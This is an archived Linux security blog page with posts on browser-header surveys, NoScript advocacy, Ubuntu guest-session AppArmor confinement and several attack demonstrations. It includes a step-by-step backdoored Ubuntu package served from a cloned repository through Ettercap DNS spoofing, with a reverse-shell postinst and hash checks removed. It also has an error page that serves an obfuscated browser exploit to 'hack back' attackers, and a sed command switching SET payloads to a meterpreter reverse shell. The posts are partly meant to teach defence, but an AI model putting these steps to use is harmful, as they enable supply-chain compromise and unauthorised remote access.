Archive for the ‘Random pontifications’ Category

It’s been a while since I’ve posted — but I return to you now with some interesting information, and some questions. Over the past 45 days I’ve been running something of a survey. Really I’ve been data mining your browser headers, don’t worry I haven’t sold your info to any third parties πŸ˜‰

However what I did find was surprising. You don’t care about browser security. At all.

Overall about 2500 people participated in this survey, though they did not know it. Of those 2,500 individuals approximately one quarter of them are using a vulnerable browser without the aid of NoScript. That’s over 400 vulnerable browsers that have visited this site in the last month and a half.

Anyone have an explanation for this?

In my mind there are two possible answers here. The first being you just don’t know any better, the second would be you just don’t care. Since you’re likely interested in securing your Linux installation if you’re reading this site, there is a good chance that you DO know better.

A look at the results

The most popular vulnerable browser was Chrome/Chromium 15.0.874.102 which suffers from a use after free memory corruption vulnerability among several others. Though the memory corruption is the most significant multiple vulnerabilities fall into “serious” category. Oddly every single person using this browser version was using Ubuntu Linux 11.10 either in x86 or amd64 flavors. Canonical? Fix your repos? Or maybe people just aren’t updating.

While we’re discussing Operating System versions. I found it interesting, but not surprising that several of the operating systems running these browsers were end of life. Meaning they haven’t been receiving security updates for quite some time. Several individuals were using Ubuntu sub 8.04, and more were using Ubuntu 8.04-8.10. These operating systems are end of life, and are not receiving security updates. If you’re running these I strenuously urge you to ugrade to at least the current LTS 10.04. There really isn’t much else to say about operating systems, since browser headers are often times less than conclusive in terms of operating platform.

So what were some of the most vulnerable browsers? Well, there were quite a few but the most interesting I saw were the following :

  • Firefox 3.0.x
  • Firefox 3.5.3
  • Firefox 3.6.16
  • Chrome 6.0x

That is just a sample of the MOST vulnerable browsers, you can see a full diagram of vulnerable browsers in the graph at the beginning of this section.

So what’s up? Why are you running a 4+ year old browser with out NoScript? Now, I realize that some of you were probably spoofing browser headers, like whoever had Firefox 1.0, that’s probably not legit. However, I would wager the vast majority of these results are in fact accurate. It’s also important to note that I filtered out webcrawlers, each of these is in fact an actual browser (unless of course the crawler is spoofing headers).


Many linux users apparently just don’t care. If you’re reading this in a state of shock, but can’t remember the last time you updated anything, maybe it’s time to do a …

sudo apt-get update && sudo apt-get upgrade


sudo yum check-update && sudo yum update

After you’re done with that, maybe you should take a gander at NoScript

It’s important to understand a couple things about this data. This data was filtered by excluding any non Linux systems, this includes Android, iPhone, Windows and Apple machines, as well as any browser running NoScript. These are only Linux users. Not all are running Ubuntu, other popular distributions included Fedora, Mint, and Debian.

So, you tell me, why do you think many users are hesitant to upgrade to a more supported and secure browser?


Note : Depending on the location this could be considered illegal, do not do this unless you’re sure it’s acceptable under law. I am not responsible for what you do with this information I just thought this would be a fun article to write. No Skiddies were harmed in the making of this travesty.

So I’ve been asked many times, what about offensive security measures for my server or web application. Is it possible to own an attacker back. The answer is quite simply put yes, and we are going to analyze an example of how that would be done. Why? Not sure – I’m feeling pretty awesome today so I decided we’d get a little creative. (I’m out of that slump guys ;-))

The closer I get to you the more I hurt you. –Shinji Ikari


This works best (only) if the attacker is using a vulnerable browser to perform inline attacks such as SQL injection. This will do nothing in terms of automated tools.

This is probably illegal to actually do.

This is a pain in the butt to pull off. (But it’s fun!)

Your web application firewall better not EVER spit out false positives, otherwise you may find yourself with a LOT of shells very quickly lol.

Preparing the β€œCounter” Attack

First step, assuming we have a web application firewall like mod-security that spits out 501 Not Implemented when someone tries to do bad things like SQLi, we need to create a custom error page for 501.

Create .htaccess

In the directory for the website that you want protected by our β€œoffensive” security solution we will create the following .htaccess file.

ErrorDocument 501 /var/www/badbadbad.html

After we restart our Apache server anyone receiving a 501 error will be sent to this file, which we have yet to create. What oh what shall we put in that file… πŸ™‚

Enter the Browser Exploit

The next step in this attack is to create a browser exploit that will compromise the attacker when they reach the 501 page via SQL injection, or some other web nasty.

Targeting the Browser

We can clearly see in our Apache logs that the following individual is attempting to perform SQLi - - [08/Dec/2011:03:56:26 -0500] "GET /index.php?id=-1'%20AND%201=1;-- HTTP/1.1" 501 28098 " "Mozilla/3.0 (X11; U; Linux i686; en-US; rv: Gecko/20100905 Fedora 15 (Lovelock) Firefox/3.5

Thankfully we have quite a bit of information from their browser header. And we know they are running Firefox 3.5 on Fedora Linux.

On top of it these would be penetrators (I love that word) are in fact using a rather vulnerable browser πŸ˜‰

So now that we know what browser the attacker is using we can find or create code that will exploit a vulnerability in it and give us code execution.

Creating the Exploit…I Mean…The Error Page

Now our next step is to package the exploit code on the error page we created. Below are the contents of our file badbadbad.html

<TITLE>SQL Injection is NOT supported here.</TITLE>
<H1>Error 501</H1>
<H3>The following method is not implemented but thank you for the shell <3</H3>
<b><i>~ Happy Holidays ~ </b></i>
<iframe height=”0” width=”0”>
<script language="JavaScript">var wMAdopNhHKNGsLurezAVSWb=unescape;var aATwpEbpReJ=wMAdopNhHKNGsLurezAVSWb("%u7e98%u993f%u49a8%uf618%uebd1%u9f3c%u249b%u347a%u7177%u7b7f%ub415%u27b6%u8567%u3dfc%u9f97%u787c%uf921%ud387%u3ae2%u32eb%ubed6%u4346%u0c72%u912f
*** SNIP ***  (the rest of the obfuscated exploit code goes here: If you don't know how to do that you shouldn't be doing this)

Now simply restart your web server and let the good times roll πŸ™‚

The Attack

Once the attacker attempts their attack and it fails they are now presented with the 501 page we created that contains our browser exploit.

What the 'attacker' sees

Once they make it this far we are victorious πŸ™‚

What it feels like to win πŸ˜‰

There you go – a hack back snack pack for all of those hosting their own blogs πŸ˜›

Remember I am 99% sure it’s illegal to actually do this

So — I’ve been hearing a lot of talk about how great and secure Ubuntu is because of the “Trusted” repositories. Heck, I’ve even been known to throw that one out there a few times, recently in fact. However, I usually always punctuate that thought with nothing is perfect. See the funny thing about trusting anything or anyone is, the hedgehog’s dilemma.

For those of you who aren’t fanatical Neon Genesis fans, you should be. However, since you’re probably not — I’ll explain it. The hedgehog’s dilemma basically explains the plight of human kind, we want to be close and trust eachother, but we are hedgehogs, the more trust and closeness we share the more we hurt eachother. Now that I’ve gotten that extremely emotional intro out of the way you’re probably wondering what the HECK this has to do with Ubuntu’s (or anyone else’s) trusted repos. Well allow me to explain, the repositories are free for anyone to mirror — modify, and pretty much do what they want. Hence, how you can make your own Ubuntu respin relatively easily.

Now — what if someone wanted to mirror them, change the packages to be malicious in nature, perhaps allowing the package to back door the system it was installed on? Well we’d be safe because we use the “Trusted” repos, and they wouldn’t be hosted in the same location right? Well…Sort of. We’ve already demonstrated in the past that we can make an address looks like it belongs to us, if we’re on the same network as the victim. The same concept applies to other things than browsers, like APT. Of course, as I said, you have to be on the same network as the attacker, which brings about another question, are you my neighbor and how is your wireless network’s security looking right now? (kidding) Or maybe you use free public wifi, are you doing your updates using that connection? Or maybe, just maybe your office is using Ubuntu, and your sysadmins aren’t all that clever.

So let’s look at how this attack works.

Preparing The Repository

Special thanks to Haqking on Ubuntu forums for giving me a heads up on creating an apt-mirror quickly, without him this FUD bonanza would not be before you now. Also, he just started blogging so be sure to check out his blog.

Thankfully there are a variety of easy to use utilities for mirroring an apt repository, in this case I was recommended both Keryx and apt-mirror. For the sake of expedience I chose apt-mirror because it’s already in the Back Track repositories.

Installing and configuring apt-mirror

apt-get install apt-mirror

Now — we need to clone our repository

edit /etc/apt/mirror.list

deb oneiric-security main restricted

This is my file, I was targeting a fully updated Oneiric 11.10 install.

After this we simply want to run


Note : To clone the ENTIRE repository, would take 74.4GB. That’s going to take a LOT of resources. For the sake of time, and resources we are only going to modify one repository just to show that we can in fact take advantage of the trust factor. For this to work in a default configuration you would need to clone the entire repository set.

So once our repo is cloned and placed in our web root we need to fire up our webserver in Back Track. You’ll notice that it’s cloned two different domains. Well — we only have one attacking machine, thankfully Apache is ever so kind and is going to let us create virtual hosts to handle this.

Here is an example Virtual Host site file (/etc/apache2/sites-available)

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/

                Options FollowSymLinks
                AllowOverride None

                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all

        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all

        ErrorLog /var/log/apache2/error.log

        # Possible values include: debug, info, notice, warn, error, crit,
        # alert, emerg.
        LogLevel warn

        CustomLog /var/log/apache2/access.log combined

    Alias /doc/ "/usr/share/doc/"

        Options Indexes MultiViews FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
        Allow from ::1/128

Create one for each site we need. Then use a2ensite to enable them and start up Apache 2.

service apache2 start

Finally move your mirrored repository to the webroot

mv /var/spool/mirror/ /var/www/ && mv /var/spool/mirror/ /var/www/

Modifying a Package

Creating the Backdoor

For this we will use a simple meterpreter reverse shell as our backdoor , however you can inject any payload you wanted.

Now that we have done this we must insert it into the package we want to modify. We are going to modify the abrowser package. That package is in

copy it to your /root directory where we placed badfile. Now we want to extract the package

cd /root
mkdir badpackage
dpkg -X abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb badpackage
mkdir badpackage/DEBIAN

Create the following file in DEBIAN and name it postinst

sudo chmod 2755 /usr/badfile && /usr/badfile &

Give this file permissions 755. Now copy badfile to /badpackage/usr/badfile then rebuild the package

dpkg-deb --build --nocheck badpackage

Ignore the warnings about building a crappy package, it’s the way Ubuntu does it. *shrug*

This will give you a file called badpackage.deb so do the following…

cp badpackage.deb /var/www/

Now just one more loose end to tie up, with the package. Now , edit the file /var/www/

Change the following

Package: abrowser
Priority: optional
Section: web
Installed-Size: 152
Maintainer: Ubuntu Mozilla Team
Architecture: i386
Source: firefox
Version: 8.0+build1-0ubuntu0.11.10.3
Depends: firefox
Filename: pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb
Size: 8942
MD5sum: 4110c9ecb91baef556dccd62869f5a25
SHA1: 11680e06c14944c5f819584132a224ca343caf0f
SHA256: 67ba7ef5de1efa9309579acd4c288b9c84bdebab9088d6e09545febcbd853906
Description: Safe and easy web browser from Mozilla - transitional package
Description-md5: e89058e4775caff7d26313fa8811675e
Origin: Ubuntu
Supported: 18

To this.

Package: abrowser
Priority: optional
Section: web
Installed-Size: 152
Maintainer: Ubuntu Mozilla Team
Architecture: i386
Source: firefox
Version: 8.0+build1-0ubuntu0.11.10.3
Depends: firefox
Filename: pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb
Size: 8872
Description: Safe and easy web browser from Mozilla - transitional package
Origin: Ubuntu
Supported: 18m

This will account for the changed size in our file, and remove the optional MD5, SHA1 and SHA256 Hash sum checks that will fail. Alternatively, you can change the hash sums here to match that of your file, but it is not necessary.

Staging the Attack

Now that we have our evil repository set up we need to get our traffic pointed toward it. We’ll use Ettercap for this, set up your etter.dns as such A A   A

Where is the host with the cloned repo.

And fire up ettercap…

Become root

Now when our victim goes to update.

You win πŸ˜‰

that’s uid 0 and that’s game over.

So do you guys still trust those repos?

So many people put down using NoScript — particularly in my beloved community at Ubuntu Forums. I beg and I plead…Still they tell me Javascript can’t hurt them. They can visit whatever sites they want because Ubuntu is secure. So let’s talk about how a browser actually gets owned by Javascript, no malicious emailed links, no man in the middle, no going to a site you wouldn’t normally go to. The real deal, browser exploitation via a compromised website.

In this brief demonstration. There will be 3 virtual machines involved. The first will be a Back Track 5 machine (IP, the second is the victim which is Ubuntu 11.10 Running Firefox 7.0.1 fully updated with firewall all the security essentials…Except NoScript… We don’t need that… The last machine is a web server, running Ubuntu 8.04 hosting my new personal website talking about my Ubuntu home server project it’s IP is and it’s running Ubuntu 8.04.4 LTS fully patched.

In this scenario the sysadmin (me) of the Ubuntu 8.04 machine has decided he will create a website, he wants to access it remotely, so he uses SSH, but you know what SSH keys are a pain in the butt, so he uses a password. Not even a good one. This isn’t an uncommon scenario, anywhere in the world. So a malicious cracker (also me) is going to crack my SSH password via brute force, he’s going to alter my website and when the victim (still me lol) visits the website (, his fancy new Firefox browser will be exploited and the attacker will gain remote access to his system.

Note : I didn’t register that domain for this demo it’s not mine, I have no idea what’s actually there I edited my hosts file. If you are the owner of that domain I did NOT hack your website, do NOT call the police do NOT email me, do NOT flame me in the comments section of my blog, thank you…

Uncompromised Site

My super cool site is super secure. It’s just sitting there, it gets about 3 hits a day (just like my blog). You may notice from the content of my website, I’m carefree when it comes to security and really have no idea what I’m doing.

Compromised Site

In this phase an attacker has gained access to my website via obtaining my SSH credentials, which were username dangertux password dangertuxsupercool. Wonder how he guessed. He has modified my site’s index.html page to contain some “additional” data. In this case it is code that will exploit a browser visiting the site, more specifically the Linux version of Firefox 7.0.1

If we examine the code for my site again we will see that something is amiss.

Compromised Ubuntu User

So in this phase, a Ubuntu victim err…user… Me is visiting my website to see how it’s looking (What!? I like the minimalist style). I’m using my trusty Ubuntu 11.10 with Firefox 7.0.1, I’m perfectly secure so I don’t run NoScript.

When I visit my site, the modified version exploit code is executed in my browser and I have just become compromised.

The Attacker’s Point of View

When I visited my website, the attacker received a reverse connection, and was able to spawn a remote shell on my machine.


For the LOVE of all that is holy can we PLEASE use NoScript? If you don’t you’re relying entirely on sysadmins to secure their sites. This is not something that happens infrequently, and only to small sites.

Need Proof? Check out

I came to a realization as I was helping someone today. They were previously a Windows user, and had never really had any experience with Linux or Ubuntu whatsoever. They had a Windows 7 laptop that had become a haven for some pretty nasty malware. In short — they pretty much needed to start over; they had asked me for help, and I tried fix it the best I could however they did not have their Windows 7 Installation disc, and I was not in posession of an additional license. I told them they would probably have to buy a Windows License if they wanted me to be able to repair the system, to any workable state. This was not an option — so they opted to try Ubuntu Linux.

Of course, given the scenario by which they came to try this new operating system, they were somewhat concerned by the security implications of a “Free Open Source” operating system. I configured the system myself. I created a decent firewall using UFW, performed all the necessary updates, set up mandatory access controls for Firefox (via Apparmor) and made sure they had a decently configured NoScript addon. I also used home folder encryption and a decent password during install time. One would say this is a pretty nice desktop installation in terms of security. Upon returning the machine to its owner I was greeted with the question

“What about Anti-Virus?”

Now — after having spent a considerable amount of time configuring this system (for free I might add) I was slightly frustrated. Why? I don’t know… I think I’ve answered the Anti-Virus question about 1200 times on Ubuntu Forums (coincidentally I have about 1200 posts lol) so answering it once more shouldn’t be a big deal.

It’s really become a serious issue for me lately — so many end users particularly those transitioning to Ubuntu from Windows are asking the same question. The simple truth is Anti-Virus really isn’t that effective on Windows and to an even lesser extent on Linux. Blasphemy, I know!

If you read my blog at all , you’ll know I love nothing more than to scare the living bejebus out of Ubuntu users who are convinced it’s secure. Why? I don’t know it gives me some sick pleasure to spread FUD like that. No, I’m kidding I do it because I believe people should be informed about what actually affects the security of a system. Not hide behind Anti-Virus from the Lulzsec boogieman.

That being said, know your threats! The majority of threats can be stopped or otherwise mitigated without even using AV. Don’t believe me? Let’s discuss that.

Common threats to a desktop user

Browser exploits are huge, in fact I would wager well over 90% of the threats that plague home users originate in a browser, and a good portion of those can be stopped by simply using an Addon like NoScript. See the thing about AV is it is a reactive measure, it’s something you do to remove Malware once it gets on your system. This makes it ineffective, as there are many ways for malware to hide itself from even the most advanced AV solutions. However let’s look at how the process commonly works (and by commonly I mean almost every time).

For instance take a look at this Proof of Concept exploit code for Firefox 8.0, 4.0 and 7.1 which works under Windows and Linux. For those who have no idea what I just linked them focus on this line.

<script type="text/javascript">// <![CDATA[

Yes — NoScript would block this, before whatever payload is injected. The payload is what brings the malware, not the exploit itself. Thus if this script were blocked by NoScript, the exploit would not run, the payload would never be injected and there would be no point in AV.

What about other things like cross site scripting? Well — these are operating system agnostic, they can be used to install malware, though often times are utilized to target other things like your credentials. AV won’t help you here anyway, because AV is concerned about what’s happening on your hard drive, this doesn’t touch your hard drive. However, NoScript will stop this once again.

So why don’t more people use NoScript? Great question — probably because it’s not set it and forget it like AV. You have to engage it regularly, and it might ask you a question about what to allow. Unforunately that’s the way of things, sometimes the best protection requires a little bit of input from the end user.

What if I download something malicious?

Well if you download something malicious and run it, particularly with elevated user privileges it’s pretty much game over. If you really think Anti-Virus is going to help you here I suggest you check this article out. In that article, we showed it’s possible to gain a root shell on Ubuntu Linux without being picked up by AV at all. I’ll give you a hint, it took me less than an hour to put that whole thing together.

So what’s your best defense? Common sense.

Additionally, things like Mandatory Access Controls (Apparmor) and a well configured firewall can help mitigate many of the risks in the event your common sense fails you.

The truth is, AV is not the magic security bullet. Education, and understanding those will get you some where in the nuclear arm’s race that is information security.

If you’re interested in Basic Desktop Security for Ubuntu I suggest you check out the following links.

Ubuntu 11.10 Oneiric Ocelot Desktop Security Guide
Basic Ubuntu Security Guide (Ubuntu Forums Community Project)

Lately there has been a lot of hullabaloo about the Ubuntu Guest Account seen in Oneiric, though it’s been around for a while the feature has become much more visible. As such it has a lot of people having bad flashbacks from the Windows NT series Guest account. An interesting article written by Dan Dieterle at Cyber Arms addresses some of those concerns, and makes a valid point regarding a Social Engineering attack or some form of remote browser exploit.

The article warns users that a guest user could become the victim of a social engineering attack that leads to remote compromise, also scary is the fact that Firefox 7.0.1 POC exploit code has recently been released into the public that allows for remote compromise of the browser. What we’re going to explore here is, in the event this happens. What protections do this account offer, and is it in fact a security liability. The Guest Session account in case you do not know, does not require a password to access. For this discussion we will be using the Social Engineering Toolkit Java Applet vector that was discussed in Dan’s article, though it’s important to know a remote shell is a remote shell. For the “victim” machine we will have a fully patched Ubuntu 11.10 install , with a default configuration of UFW enabled. I’m not going to bother with AV for two reasons. One AV on Linux sucks (particularly the free products) and two our shell will never hit the hard drive so there is really nothing for AV to find here

Our Shell

As I pointed out in the discussion on Dan’s blog, the shell we get here would be extremely neutered, and as we can see it is. Guest really doesn’t have a whole lot of permissions to do much of anything. However Dan’s counter argument was that the shell could be used to profile the system, an argument that in this case is quite valid.

If you click this you're pretty much dumb...Let's click it πŸ˜›

oh look another shell πŸ™‚

Well that's fancy lol.

We were able to gather the usernames for the system. This could be valuable to a remote attacker in the event that you are one of those Ubuntu fans who like to run SSH on their home system to administer it from work. However, what if they aren’t running any services and this is just a typical desktop installation?

So the question is can we break out of this shell and do something more malicious? Sadly not really, As I stated in my discussion over on Cyber Arms there are a variety of security features locking this account down.

What Security Features?

Don’t let the lack of a password on this account fool you. It’s locked down pretty tight. The Guest Session is confined with mandatory access controls in the form of Apparmor. There are two things someone who is trying to compromise a system running no services doesn’t want you to have, NoScript and Mandatory Access Controls. In this case we don’t have No Script installed, and if the user was silly enough to click our Java Applet warning despite the gigantic Security advisory posted all over it Apparmor will confine the disaster to being almost fruitless.

If we examine the apparmor profile (which can be found in /etc/apparmor.d/lightdm-guest-session). We will see the following.

# vim:syntax=apparmor
# Profile for restricting lightdm guest session
# Author: Martin Pitt


/usr/lib/lightdm/lightdm-guest-session-wrapper {
/etc/compizconfig/config rw, # bug in compiz

/ r,
/bin/ rmix,
/bin/fusermount Px,
/bin/** rmix,
/cdrom/ rmix,
/cdrom/** rmix,
/dev/ r,
/dev/** rmw, # audio devices etc.
owner /dev/shm/** rmw,
/etc/ r,
/etc/** rmk,
/etc/gdm/Xsession ix,
/lib/ r,
/lib/** rmixk,
/lib32/ r,
/lib32/** rmixk,
/lib64/ r,
/lib64/** rmixk,
/media/ r,
/media/** rmwlixk, # we want access to USB sticks and the like
/opt/ r,
/opt/** rmixk,
@{PROC}/ r,
@{PROC}/* rm,
@{PROC}/asound rm,
@{PROC}/asound/** rm,
@{PROC}/ati rm,
@{PROC}/ati/** rm,
owner @{PROC}/** rm,
# needed for gnome-keyring-daemon
@{PROC}/*/status r,
/sbin/ r,
/sbin/** rmixk,
/sys/ r,
/sys/** rm,
/tmp/ rw,
owner /tmp/** rwlkmix,
/usr/ r,
/usr/** rmixk,
/var/ r,
/var/** rmixk,
/var/guest-data/** rw, # allow to store files permanently
/var/tmp/ rw,
owner /var/tmp/** rwlkm,
/{,var/}run/ r,
# necessary for writing to sockets, etc.
/{,var/}run/** rmkix,
/{,var/}run/shm/** wl,

capability ipc_lock,

# silence warnings for stuff that we really don’t want to grant
deny capability dac_override,
deny capability dac_read_search,
#deny /etc/** w, # re-enable once LP#697678 is fixed
deny /usr/** w,
deny /var/crash/ w,

Now, if you don’t understand Apparmor profiles, I’ll basically sum this up — This profile does not allow you access to much of anything that allows an attacker to escalate out of the guest session. There are a few caveats to that which I will discuss in a moment.

In addition to the mandatory access controls in place via Apparmor we have a well tuned discretionary access control system (permissions) in place that keeps us out of most places we should not be.

As a matter of fact, I could not find a single flaw in the implementation of the guest session save for one.

Why In Heaven’s Name Would Guest Need GCC?

This was the one issue that I saw for some reason unknown to me, the Guest Session is given access to a compiler. This is generally bad stuff. If one can compile source code, and execute it. There is a chance that escalation can take place. This would require a vulnerability in another application and or the Kernel itself. If this were present it could be exploited to allow root access bypassing even Apparmor. That being said, we can use Apparmor to nip that in the bud really quickly.

Simply add the following lines to your apparmor profile

deny /usr/bin/gcc rw,
deny /usr/bin/gcc-4.6 rw,

Since the author of that profile was so kind as to comment on this blog post I figured I would add this bit in. As Martin pointed out this does NOT prevent someone from downloading GCC to the guest session and running it from a different path. Nor does it prevent an attacker from utilizing Perl,Python, or whatever else might be installed. (remember how we got here was Java).

As I reflected on Martin’s comment I feel this is probably an irrellevant measure (this is what I get for writing this stuff at 1 AM).


Honestly, I would say the Guest session is rather well secured, however you can always edit the MAC in place to lock it down further. Or as Dan Dieterle mentioned in his article disable the account functionality alltogether. If you’d like to know how to do that read his article he explains it, it is linked at the top of this one.


Also for those of you who use SET frequently, and or are experimenting with the Java Applet Attack Vector under Linux, you might consider upgrading the shell you are provided by default to meterpreter instead of the linux default reverse shell. If you wish to do this simply run the following (this is under Back Track 5 R1, your path may vary.)

sed -i 's:linux/x86/shell/reverse_tcp:linux/x86/meterpreter/reverse_tcp:' /pentest/exploits/set/src/core/payloadgen/

This will give you a meterpreter shell by default instead of linux/x86/shell/reverse_tcp. You can substituate linux/x86/meterpreter/reverse_tcp for any other payload you’d like as well, including a custom payload.

Special Thanks also go to Martin Pitt for his comment that shed some light on the MAC in place for the lightdm-guest-session.

I was considering posting some relatively technical article tonight, in fact I laid the ground work, fired up the VM did all the testing and took all the screen shots already. However, in doing that I realized that quite frankly many of the individuals in the open source community who put forth an effort to aid, educate or in other words help new users understand the security benefits and ramifications of a Linux based operating system are rarely praised.

Sure there are professionals out there, and we seek to educate, others just want to make it through the day alive, and others still are security evangelists (divas); a title which I myself have no doubt earned several times over in certain circles. The truth is though, particularly in the community on Ubuntu Forums the individuals who try to help are not compensated in any way shape or form. They are volunteering, and they do it for the betterment of the community. I am speaking about several individuals in particular whom I will name (well handle) at the end of this. These individuals took a concept, that is not easy to approach “Security for Newbies” (new users being the politically correct term), and undertook a huge task by organizing the community and putting out a fairly detailed amount of documentation as well as a gigantic thread with all sorts of crazy stuff in it. They did this in a relatively limited time and with a limited knowledge base, researching a lot of information so that others may learn from their work.

I was involved in this project as well, and while I did not even begin to bear the burden of the work, I did receive a portion of the flames that I’m sure those spearheading the project received. I heard “hey man Ubuntu is secure, you’re spreading fear uncertainty and doubt.” or “This isn’t what Open Source software is about”. Truthfully, with respect to those opinions (it’s my blog if you don’t like it leave) I disagree. The efforts put forth by these individuals is at the very core of OSS, in that they are sharing the knowledge which they acquired, whether you like it or not for your benefit. Of course, if you disagree, or just don’t want to hear it, you’re entitled to that opinion.

However, my thoughts on the subject are that everyone involved did an amazing job, and it was a great project to be a part of, and hopefully we can keep the ball rolling and making it something better still. In fact in my opinion it was a unifying thread in some respects, and it dissolved a lot of the mysteries surrounding Linux/Ubuntu and a great deal of good came from it.

So overall, I just want to say great job to all of those involved in the “Security for Newbies Thread” and the associated wiki it spawned.

So without further ado by name thanks here it goes

  • MrLeek – The thread as your idea, and though it was a rocky start, it wouldn’t have happened without your idea and contributions.
  • Ms. Daisy – Probably the individual who put the most time in editing building and otherwise organizing a giant conglomeration of ideas and thoughts. Probably also the largest learning curve achieved (MVP anyone?). Ambitions for blue team (see you soon ;-))
  • Olle Wiklund – Contributed multiple ideas, as well as marketed the idea of the wiki and promoted it to individuals who desired learning.
  • Haqking – An infosec professional with like a billion years of experience and a really good friend of mine, who’s contributions to the thread helped greatly (as well as a good place for me to vent some frustrations) Also note worthy this man is lethal with google πŸ˜‰
  • Thewhistlingwind – Keeping the thread on track with grounded and practical knowledge of application in security concepts. To quote a song by The Offspring “you’re gonna go far kid.”
  • vasa1 – you only made a few posts, but you helped guide the direction of it more than you probably realize (as I was putting in research for different concepts in the thread I kept finding your name in most of the things I looked up lol.
  • mrwoof – Router security tips, simple things that most people don’t look at but can end up devestating quickly
  • BlinkinCat – Encouraging the thread and FAQ in its infantile stages
  • tartalo – Also encouragement, probably when the project needed it the most
  • Spartacux – I know I give you crap for wearing your “tin foil hat” too much, but you made some great points, and though a lot of the privacy related stuff didn’t make it to the wiki your points will still be heard through the thread.
  • dflyer – While I disagree with the usefulness of shieldsup and anything else made by Steve Gibson, it does have its purposes, and can help educate users (mostly correctly) in the state of TCP ports. +1 for contributing a resource that speaks clearly to some people.
  • OpSecShellshock – Another talented infosec professional, I’m pretty sure this individual knows everything there is to know about web based vulnerabilities, well done and thank you for taking the time.
  • crazyguy50 – For elaborating very concisely what shields up does. (you did miss the part about selling subscriptions to zone alarm though :-P)
  • CharlesA – IT professional, and well on his way to becoming a member of the Infosec field, keep at it, you’ll make it you’ve got your head in the right place. Generally cool guy and official mod mascot πŸ˜‰
  • Bukie – Awesome points on passwords, even more winning for sending the thread into a 2 day debate about divulging password constructs
  • desukane – Contributed by bringing the wiki back to a level of speaking to its target audience (which was not in fact at B-Sides)
  • Lisati – For bringing a GOOD choice of beer and differentiating two very important social groups “hackers” and “crackers” hackers make money legally and shower, this is the difference. πŸ˜‰
  • jramshu – For bringing some good points to the thread as well as a healthy sense of paranoia (and on a personal note for reminding me that we should in fact NOT mess with Texas)
  • Orangecrate – by providing a dissenting opinion, you can’t make a document relevant if you can’t make it important to those who couldn’t care less.
  • leoquant – valid points about targeting of certain platforms flash in particular
  • Vanhenjyr – for pointing out the fact that some of this stuff is really hard to embrace, thus spawning the NoScript configuration guide πŸ™‚
  • Many Anonymous Contributors – For those who didn’t want to be recognized, you’re still getting recognized. Thank you for your contributions
  • If I missed you in any way — please send me a message on the forum I will add you to the list if you want to be, if you do NOT want to be on this list let me know I will take you of as well.

    Also this project is not dead, or finished, if you’d like to contribute feel free to join in πŸ™‚

    Have a great weekend everyone!
    (read I’ll see you on the forums tomorrow morning lol)